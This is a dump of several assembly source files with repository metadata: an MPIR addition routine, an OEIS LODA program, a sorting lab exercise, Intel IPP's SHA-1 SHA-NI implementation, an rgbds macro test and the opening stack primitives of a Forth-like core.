include/mpir-3.0.0/mpn/add_err2_n.asm
|
theprogrammermachine/EogenVirtualMachine
|
dc68bc61ab60fb206477e7eab35e69b5e161d9bd
|
[
"Apache-2.0"
] | null | null | null |
dnl AMD64 mpn_add_err2_n
dnl Copyright (C) 2009, David Harvey
dnl All rights reserved.
dnl Redistribution and use in source and binary forms, with or without
dnl modification, are permitted provided that the following conditions are
dnl met:
dnl 1. Redistributions of source code must retain the above copyright notice,
dnl this list of conditions and the following disclaimer.
dnl 2. Redistributions in binary form must reproduce the above copyright
dnl notice, this list of conditions and the following disclaimer in the
dnl documentation and/or other materials provided with the distribution.
dnl THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
dnl ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
dnl LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
dnl PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
dnl HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
dnl SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
dnl TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
dnl PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
dnl LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
dnl NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
dnl SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
include(`../config.m4')
C cycles/limb
C K8,K9: 4.5
C K10: ?
C P4: ?
C P6-15 (Core2): ?
C P6-28 (Atom): ?
C
C mp_limb_t mpn_add_err2_n (* rp,* up, * vp, * ep, * yp1, * yp2, n, cy)
C
C INPUT PARAMETERS
define(`rp', `%rdi')
define(`up', `%rsi')
define(`vp', `%rdx')
define(`ep', `%rcx')
define(`yp1', `%r8')
define(`yp2', `%r9')
define(`n_param', `8(%rsp)')
define(`cy_param', `16(%rsp)')
define(`cy1', `%r14')
define(`cy2', `%rax')
define(`n', `%r10')
define(`w', `%rbx')
define(`e1l', `%rbp')
define(`e1h', `%r11')
define(`e2l', `%r12')
define(`e2h', `%r13')
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(mpn_add_err2_n)
mov cy_param, cy2 C cy2
mov n_param, n C n
push %rbx
push %rbp
push %r12
push %r13
push %r14
xor e1l, e1l C zero e1l, e1h, e2l, e2h
xor e1h, e1h
xor e2l, e2l
xor e2h, e2h
sub yp1, yp2 C yp2 -= yp1
lea (rp,n,8), rp C rp += n, up += n, vp += n
lea (up,n,8), up
lea (vp,n,8), vp
test $1, n C if n is odd goto L(odd)
jnz L(odd)
lea -8(yp1,n,8), yp1 C { yp1 += n - 1 }
neg n C { n = -n }
jmp L(top)
ALIGN(16)
L(odd): C n is odd, do extra iteration
lea -16(yp1,n,8), yp1 C yp1 += n - 2
neg n C { n = -n }
shr $1, cy2 C rp[0] = up[0] + vp[0] + (cy2&1)
mov (up,n,8), w
adc (vp,n,8), w
cmovc 8(yp1), e1l C if carry2 el1 = *(yp1+1)
cmovc 8(yp1,yp2), e2l C if carry2 e2l = *(yp2+1)
mov w, (rp,n,8)
sbb cy2, cy2 C move carry2 into cy2
inc n C n++
jz L(end) C goto end if we are done
ALIGN(16)
L(top):
mov (up,n,8), w
shr $1, cy2 C restore carry2
adc (vp,n,8), w
mov w, (rp,n,8) C rp[n] = up[n] + vp[n] + carry2
sbb cy1, cy1 C generate mask, preserve CF
mov 8(up,n,8), w C rp[n] = up[n+1] + vp[n+1] + carry1
adc 8(vp,n,8), w
mov w, 8(rp,n,8)
sbb cy2, cy2 C generate mask, preserve CF
mov (yp1), w C (e1h:e1l) += cy1 * yp1 limb
and cy1, w
add w, e1l
adc $0, e1h
and (yp1,yp2), cy1 C (e2h:e2l) += cy1 * yp2 limb
add cy1, e2l
adc $0, e2h
mov -8(yp1), w C (e1h:e1l) += cy2 * next yp1 limb
and cy2, w
add w, e1l
adc $0, e1h
mov -8(yp1,yp2), w C (e2h:e2l) += cy2 * next yp2 limb
and cy2, w
add w, e2l
adc $0, e2h
add $2, n C n += 2
lea -16(yp1), yp1 C yp1 -= 2
jnz L(top) C if not done goto top
L(end):
mov e1l, (ep) C write out e1l, e1h, e2l, e2h
mov e1h, 8(ep)
mov e2l, 16(ep)
mov e2h, 24(ep)
and $1, %eax C return carry
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
EPILOGUE()
| 26.074534
| 78
| 0.594092
|
a950c11a04f7cdf7f5385a75f49280fd0edf6c7c
| 389
|
asm
|
Assembly
|
oeis/178/A178115.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/178/A178115.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/178/A178115.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A178115: a(n)=(-1)^C(n+1,2)*(F(n+1)*(1+(-1)^n)/2+F(n+2)*(1-(-1)^n)/2).
; Submitted by Jamie Morken(s1)
; 1,-2,-2,5,5,-13,-13,34,34,-89,-89,233,233,-610,-610,1597,1597,-4181,-4181,10946,10946,-28657,-28657,75025,75025,-196418,-196418,514229,514229,-1346269,-1346269,3524578,3524578,-9227465,-9227465,24157817
mov $2,$0
div $2,2
sub $0,$2
seq $0,99496 ; a(n) = (-1)^n * Fibonacci(2*n+1).
| 43.222222
| 204
| 0.619537
|
a334e636c5c051fc692c405ff7683ce1322167c5
| 895
|
asm
|
Assembly
|
LabTask19Feb/task4.asm
|
forkkr/Assembly-Lab
|
e038fb965e45a88aa670a1158bf99a4b62ac374f
|
[
"MIT"
] | null | null | null |
LabTask19Feb/task4.asm
|
forkkr/Assembly-Lab
|
e038fb965e45a88aa670a1158bf99a4b62ac374f
|
[
"MIT"
] | null | null | null |
LabTask19Feb/task4.asm
|
forkkr/Assembly-Lab
|
e038fb965e45a88aa670a1158bf99a4b62ac374f
|
[
"MIT"
] | null | null | null |
segment .data
fmt: dq "Third largest number: %lld ",10,0
ssfmt: dq "%lld",0
segment .bss
a: resq 255
b: resq 1
c: resq 1
d: resq 1
cnt: resq 2
now: resq 2
segment .text
global main
extern printf
extern scanf
main:
push RBP
xor rcx, rcx
ll:
mov rbx , rcx
mov [b], rcx
xor rax, rax
mov rdi , ssfmt
mov rsi, d
call scanf
mov rax , [d]
mov qword[a+rbx*8],rax
mov rcx , [b]
INC rcx
cmp rcx , 5
jne ll
xor rbx , rbx
first:
mov [b] , rbx
xor rcx , rcx
second:
mov [c] , rcx
mov rbx , [b]
mov rcx , [c]
mov rax , [a+rbx*8]
mov rdx , [a+rcx*8]
cmp rax , rdx
jg second_con
mov rbx , [b]
mov rcx , [c]
mov rax , [a+rbx*8]
mov rdx , [a+rcx*8]
mov [a+rbx*8] , rdx
mov [a+rcx*8] , rax
second_con:
mov rcx , [c]
INC rcx
cmp rcx , 5
jne second
first_con:
mov rbx , [b]
INC rbx
cmp rbx , 5
jne first
xor rcx , rcx
mov rcx , 2
xor rax , rax
mov rdi , fmt
mov rsi , [a+rcx*8]
call printf
pop RBP
ret
| 11.1875
| 42
| 0.63352
|
7c1877e09e4c088a706d80639cd22e93c6365dfc
| 16,766
|
asm
|
Assembly
|
sources/ippcp/asm_intel64/pcpsha1nias.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | 1
|
2020-11-03T21:30:58.000Z
|
2020-11-03T21:30:58.000Z
|
sources/ippcp/asm_intel64/pcpsha1nias.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | null | null | null |
sources/ippcp/asm_intel64/pcpsha1nias.asm
|
idesai/ipp-crypto
|
67220e3042f23d423c7977cdfd8b4f54f3cba2e0
|
[
"Apache-2.0"
] | null | null | null |
;===============================================================================
; Copyright 2015-2018 Intel Corporation
; All Rights Reserved.
;
; If this software was obtained under the Intel Simplified Software License,
; the following terms apply:
;
; The source code, information and material ("Material") contained herein is
; owned by Intel Corporation or its suppliers or licensors, and title to such
; Material remains with Intel Corporation or its suppliers or licensors. The
; Material contains proprietary information of Intel or its suppliers and
; licensors. The Material is protected by worldwide copyright laws and treaty
; provisions. No part of the Material may be used, copied, reproduced,
; modified, published, uploaded, posted, transmitted, distributed or disclosed
; in any way without Intel's prior express written permission. No license under
; any patent, copyright or other intellectual property rights in the Material
; is granted to or conferred upon you, either expressly, by implication,
; inducement, estoppel or otherwise. Any license under such intellectual
; property rights must be express and approved by Intel in writing.
;
; Unless otherwise agreed by Intel in writing, you may not remove or alter this
; notice or any other notice embedded in Materials by Intel or Intel's
; suppliers or licensors in any way.
;
;
; If this software was obtained under the Apache License, Version 2.0 (the
; "License"), the following terms apply:
;
; You may not use this file except in compliance with the License. You may
; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
;
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Message block processing according to SHA-1
;
; Content:
; UpdateSHA1ni
;
;
include asmdefs.inc
include ia_32e.inc
include pcpvariant.inc
IF (_ENABLE_ALG_SHA1_)
IF (_SHA_NI_ENABLING_ EQ _FEATURE_ON_) OR (_SHA_NI_ENABLING_ EQ _FEATURE_TICKTOCK_)
;;IF (_IPP32E GE _IPP32E_Y8 )
IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR)
ALIGN IPP_ALIGN_FACTOR
UPPER_DWORD_MASK \
DQ 00000000000000000h, 0ffffffff00000000h
PSHUFFLE_BYTE_FLIP_MASK \
DB 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
ALIGN IPP_ALIGN_FACTOR
;*****************************************************************************************
;* Purpose: Update internal digest according to message block
;*
;* void UpdateSHA1ni(DigestSHA1 digest, const Ipp32u* mblk, int mlen, const void* pParam)
;*
;*****************************************************************************************
IFNDEF _VXWORKS
IPPASM UpdateSHA1ni PROC PUBLIC FRAME
USES_GPR rsi,rdi
LOCAL_FRAME = 16*2
USES_XMM xmm6,xmm7
COMP_ABI 4
MBS_SHA1 equ (64) ; SHA-1 message block length (bytes)
HASH_PTR equ rdi ; 1st arg
MSG_PTR equ rsi ; 2nd arg
MSG_LEN equ rdx ; 3rd arg
ABCD equ xmm0
E0 equ xmm1 ; Need two E's b/c they ping pong
E1 equ xmm2
MSG0 equ xmm3
MSG1 equ xmm4
MSG2 equ xmm5
MSG3 equ xmm6
SHUF_MASK equ xmm7
;
; stack frame
;
abcd_save equ rsp
e_save equ rsp+16
movsxd MSG_LEN, edx ; expand mLen
test MSG_LEN, MSG_LEN
jz quit
;; load initial hash values
movdqu ABCD, oword ptr[HASH_PTR]
pinsrd E0, dword ptr[HASH_PTR+16], 3
pand E0, oword ptr[UPPER_DWORD_MASK]
pshufd ABCD, ABCD, 01Bh
movdqa SHUF_MASK, oword ptr[PSHUFFLE_BYTE_FLIP_MASK]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
sha1_block_loop:
movdqa oword ptr[abcd_save], ABCD
movdqa oword ptr[e_save], E0
;; rounds 0-3
movdqu MSG0, oword ptr[MSG_PTR +0*16]
pshufb MSG0, SHUF_MASK
paddd E0, MSG0
movdqa E1, ABCD
sha1rnds4 ABCD, E0, 0
;movdqu oword ptr[rcx+16*0], ABCD
;; rounds 4-7
movdqu MSG1, oword ptr[MSG_PTR +1*16]
pshufb MSG1, SHUF_MASK
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1rnds4 ABCD, E1, 0
sha1msg1 MSG0, MSG1
;movdqu oword ptr[rcx+16*1], ABCD
;; rounds 8-11
movdqu MSG2, oword ptr[MSG_PTR +2*16]
pshufb MSG2, SHUF_MASK
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1rnds4 ABCD, E0, 0
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*2], ABCD
;; rounds 12-15
movdqu MSG3, oword ptr[MSG_PTR +3*16]
pshufb MSG3, SHUF_MASK
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 0
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*3], ABCD
;; rounds 16-19
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 0
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*4], ABCD
;; rounds 20-23
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*5], ABCD
;; rounds 24-27
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 1
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*6], ABCD
;; rounds 28-31
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*7], ABCD
;; rounds 32-35
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 1
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*8], ABCD
;; rounds 36-39
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 1
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*9], ABCD
;; rounds 40-43
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*10], ABCD
;; rounds 44-47
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 2
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*11], ABCD
;; rounds 48-51
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*12], ABCD
;; rounds 52-55
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 2
sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*13], ABCD
;; rounds 56-59
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 2
sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*14], ABCD
;; rounds 60-63
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1msg2 MSG0, MSG3
sha1rnds4 ABCD, E1, 3
sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*15], ABCD
;; rounds 64-67
sha1nexte E0, MSG0
movdqa E1, ABCD
sha1msg2 MSG1, MSG0
sha1rnds4 ABCD, E0, 3
sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*16], ABCD
;; rounds 68-71
sha1nexte E1, MSG1
movdqa E0, ABCD
sha1msg2 MSG2, MSG1
sha1rnds4 ABCD, E1, 3
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*17], ABCD
;; rounds 72-75
sha1nexte E0, MSG2
movdqa E1, ABCD
sha1msg2 MSG3, MSG2
sha1rnds4 ABCD, E0, 3
;movdqu oword ptr[rcx+16*18], ABCD
;; rounds 76-79
sha1nexte E1, MSG3
movdqa E0, ABCD
sha1rnds4 ABCD, E1, 3
;movdqu oword ptr[rcx+16*19], ABCD
;; add current hash values with previously saved
sha1nexte E0, oword ptr[e_save]
paddd ABCD, oword ptr[abcd_save]
add MSG_PTR, MBS_SHA1
sub MSG_LEN, MBS_SHA1
jg sha1_block_loop
;; write hash values back in the correct order
pshufd ABCD, ABCD, 01Bh
movdqu oword ptr[HASH_PTR], ABCD
pextrd dword ptr[HASH_PTR+16], E0, 3
quit:
REST_XMM
REST_GPR
ret
IPPASM UpdateSHA1ni ENDP
ELSE ;; no sha ni support in VxWorks - therefore we temporary use db
IPPASM UpdateSHA1ni PROC PUBLIC FRAME
USES_GPR rsi,rdi
LOCAL_FRAME = 16*2
USES_XMM xmm6,xmm7
COMP_ABI 4
MBS_SHA1 equ (64) ; SHA-1 message block length (bytes)
HASH_PTR equ rdi ; 1st arg
MSG_PTR equ rsi ; 2nd arg
MSG_LEN equ rdx ; 3rd arg
ABCD equ xmm0
E0 equ xmm1 ; Need two E's b/c they ping pong
E1 equ xmm2
MSG0 equ xmm3
MSG1 equ xmm4
MSG2 equ xmm5
MSG3 equ xmm6
SHUF_MASK equ xmm7
;
; stack frame
;
abcd_save equ rsp
e_save equ rsp+16
movsxd MSG_LEN, edx ; expand mLen
test MSG_LEN, MSG_LEN
jz quit
;; load initial hash values
movdqu ABCD, oword ptr[HASH_PTR]
pinsrd E0, dword ptr[HASH_PTR+16], 3
pand E0, oword ptr[UPPER_DWORD_MASK]
pshufd ABCD, ABCD, 01Bh
movdqa SHUF_MASK, oword ptr[PSHUFFLE_BYTE_FLIP_MASK]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
sha1_block_loop:
movdqa oword ptr[abcd_save], ABCD
movdqa oword ptr[e_save], E0
;; rounds 0-3
movdqu MSG0, oword ptr[MSG_PTR +0*16]
pshufb MSG0, SHUF_MASK
paddd E0, MSG0
movdqa E1, ABCD
db 0FH,3AH,0CCH,0C1H,00H ;;sha1rnds4 ABCD, E0, 0
;movdqu oword ptr[rcx+16*0], ABCD
;; rounds 4-7
movdqu MSG1, oword ptr[MSG_PTR +1*16]
pshufb MSG1, SHUF_MASK
db 0FH,38H,0C8H,0D4H ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,3AH,0CCH,0C2H,00H ;;sha1rnds4 ABCD, E1, 0
db 0FH,38H,0C9H,0DCH ;;sha1msg1 MSG0, MSG1
;movdqu oword ptr[rcx+16*1], ABCD
;; rounds 8-11
movdqu MSG2, oword ptr[MSG_PTR +2*16]
pshufb MSG2, SHUF_MASK
db 0FH,38H,0C8H,0CDH ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,3Ah,0CCh,0C1h,00h ;;sha1rnds4 ABCD, E0, 0
db 0Fh,38h,0C9h,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*2], ABCD
;; rounds 12-15
movdqu MSG3, oword ptr[MSG_PTR +3*16]
pshufb MSG3, SHUF_MASK
db 0Fh,38H,0C8h,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,38H,0CAh,0DEh ;;sha1msg2 MSG0, MSG3
db 0Fh,3AH,0CCh,0C2h,00h ;;sha1rnds4 ABCD, E1, 0
db 0Fh,38H,0C9h,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*3], ABCD
;; rounds 16-19
db 0Fh,38H,0C8h,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAh,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCh,0C1h,00h ;;sha1rnds4 ABCD, E0, 0
db 0Fh,38H,0C9h,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*4], ABCD
;; rounds 20-23
db 0FH,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,38H,0CAh,0ECH ;;sha1msg2 MSG2, MSG1
db 0FH,3AH,0CCH,0C2H,01H ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9h,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*5], ABCD
;; rounds 24-27
db 0FH,38H,0C8h,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0FH,38H,0CAh,0F5h ;;sha1msg2 MSG3, MSG2
db 0FH,3AH,0CCh,0C1h,01h ;;sha1rnds4 ABCD, E0, 1
db 0FH,38H,0C9h,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*6], ABCD
;; rounds 28-31
db 0FH,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0FH,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0FH,3AH,0CCH,0C2H,01h ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*7], ABCD
;; rounds 32-35
db 0FH,38H,0C8H,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0FH,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0FH,3AH,0CCH,0C1H,01h ;;sha1rnds4 ABCD, E0, 1
db 0FH,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*8], ABCD
;; rounds 36-39
db 0FH,38H,0C8H,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0FH,38H,0CAH,0ECh ;;sha1msg2 MSG2, MSG1
db 0FH,3AH,0CCH,0C2H,01h ;;sha1rnds4 ABCD, E1, 1
db 0FH,38H,0C9H,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*9], ABCD
;; rounds 40-43
db 0FH,38H,0C8H,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0FH,38H,0CAH,0F5h ;;sha1msg2 MSG3, MSG2
db 0FH,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0FH,38H,0C9H,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*10], ABCD
;; rounds 44-47
db 0FH,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0FH,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0FH,3AH,0CCH,0C2h,02h ;;sha1rnds4 ABCD, E1, 2
db 0FH,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*11], ABCD
;; rounds 48-51
db 0Fh,38H,0C8h,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0Fh,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*12], ABCD
;; rounds 52-55
db 0Fh,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0Fh,38H,0CAH,0ECh ;;sha1msg2 MSG2, MSG1
db 0Fh,3AH,0CCH,0C2H,02h ;;sha1rnds4 ABCD, E1, 2
db 0Fh,38H,0C9H,0DCh ;;sha1msg1 MSG0, MSG1
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*13], ABCD
;; rounds 56-59
db 0Fh,38H,0C8H,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,38H,0CAH,0F5h ;;sha1msg2 MSG3, MSG2
db 0Fh,3AH,0CCH,0C1H,02h ;;sha1rnds4 ABCD, E0, 2
db 0Fh,38H,0C9H,0E5h ;;sha1msg1 MSG1, MSG2
pxor MSG0, MSG2
;movdqu oword ptr[rcx+16*14], ABCD
;; rounds 60-63
db 0Fh,38H,0C8H,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,38H,0CAH,0DEh ;;sha1msg2 MSG0, MSG3
db 0Fh,3AH,0CCH,0C2H,03h ;;sha1rnds4 ABCD, E1, 3
db 0Fh,38H,0C9H,0EEh ;;sha1msg1 MSG2, MSG3
pxor MSG1, MSG3
;movdqu oword ptr[rcx+16*15], ABCD
;; rounds 64-67
db 0Fh,38H,0C8H,0CBh ;;sha1nexte E0, MSG0
movdqa E1, ABCD
db 0Fh,38H,0CAH,0E3h ;;sha1msg2 MSG1, MSG0
db 0Fh,3AH,0CCH,0C1H,03h ;;sha1rnds4 ABCD, E0, 3
db 0Fh,38H,0C9H,0F3h ;;sha1msg1 MSG3, MSG0
pxor MSG2, MSG0
;movdqu oword ptr[rcx+16*16], ABCD
;; rounds 68-71
db 0Fh,38H,0C8h,0D4h ;;sha1nexte E1, MSG1
movdqa E0, ABCD
db 0Fh,38H,0CAh,0ECh ;;sha1msg2 MSG2, MSG1
db 0Fh,3AH,0CCh,0C2h,03h ;;sha1rnds4 ABCD, E1, 3
pxor MSG3, MSG1
;movdqu oword ptr[rcx+16*17], ABCD
;; rounds 72-75
db 0Fh,38H,0C8h,0CDh ;;sha1nexte E0, MSG2
movdqa E1, ABCD
db 0Fh,38H,0CAh,0F5h ;;sha1msg2 MSG3, MSG2
db 0Fh,3AH,0CCh,0C1h,03h ;;sha1rnds4 ABCD, E0, 3
;movdqu oword ptr[rcx+16*18], ABCD
;; rounds 76-79
db 0Fh,38H,0C8h,0D6h ;;sha1nexte E1, MSG3
movdqa E0, ABCD
db 0Fh,3AH,0CCh,0C2h,03h ;;sha1rnds4 ABCD, E1, 3
;movdqu oword ptr[rcx+16*19], ABCD
;; add current hash values with previously saved
db 0Fh,38H,0C8h,4Ch,24h,10h ;;sha1nexte E0, oword ptr[e_save]
paddd ABCD, oword ptr[abcd_save]
add MSG_PTR, MBS_SHA1
sub MSG_LEN, MBS_SHA1
jg sha1_block_loop
;; write hash values back in the correct order
pshufd ABCD, ABCD, 01Bh
movdqu oword ptr[HASH_PTR], ABCD
pextrd dword ptr[HASH_PTR+16], E0, 3
quit:
REST_XMM
REST_GPR
ret
IPPASM UpdateSHA1ni ENDP
ENDIF ;; VxWorks
;;ENDIF ;; (_IPP32E GE _IPP32E_Y8)
ENDIF ;; _FEATURE_ON_ / _FEATURE_TICKTOCK_
ENDIF ;; _ENABLE_ALG_SHA1_
END
| 29.311189
| 90
| 0.603841
|
e7da9fc881f79fd6933003bc2e8288e756e89c7f
| 144
|
asm
|
Assembly
|
test/asm/narg-decreases-after-shift.asm
|
clach04/rgbds
|
20b2f5ee2f7cfe8f100c30b6ff6236e63daf76be
|
[
"MIT"
] | 1
|
2019-08-14T10:44:51.000Z
|
2019-08-14T10:44:51.000Z
|
test/asm/narg-decreases-after-shift.asm
|
jidoc01/rgbds
|
c8630eee95512bb0361b4dc389a61ee0a5a66875
|
[
"MIT"
] | null | null | null |
test/asm/narg-decreases-after-shift.asm
|
jidoc01/rgbds
|
c8630eee95512bb0361b4dc389a61ee0a5a66875
|
[
"MIT"
] | null | null | null |
testing: MACRO
db _NARG
shift
db _NARG
shift
db _NARG
shift
db _NARG
shift
db _NARG
ENDM
SECTION "Test output", ROM0
testing 1, 2, 3
| 9.6
| 27
| 0.708333
|
b8199a128790de90662a2a014a476ff52c1162c7
| 9,267
|
asm
|
Assembly
|
agent/core.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 141
|
2019-05-18T20:46:47.000Z
|
2022-02-28T05:10:43.000Z
|
agent/core.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 6
|
2019-06-04T15:33:21.000Z
|
2021-05-07T15:27:58.000Z
|
agent/core.asm
|
jephthai/EvilVM
|
429fcc9df6f1168d38c21f37b377c36cf7bcc957
|
[
"MIT"
] | 21
|
2019-05-22T02:48:30.000Z
|
2021-11-03T05:34:48.000Z
|
;;; ------------------------------------------------------------------------
;;; Stack manipulators
;;; ------------------------------------------------------------------------
start_def INL, dup, "dup"
dup
end_def dup
start_def INL, drop, "drop"
drop
end_def drop
start_def INL, nip, "nip"
nip
end_def nip
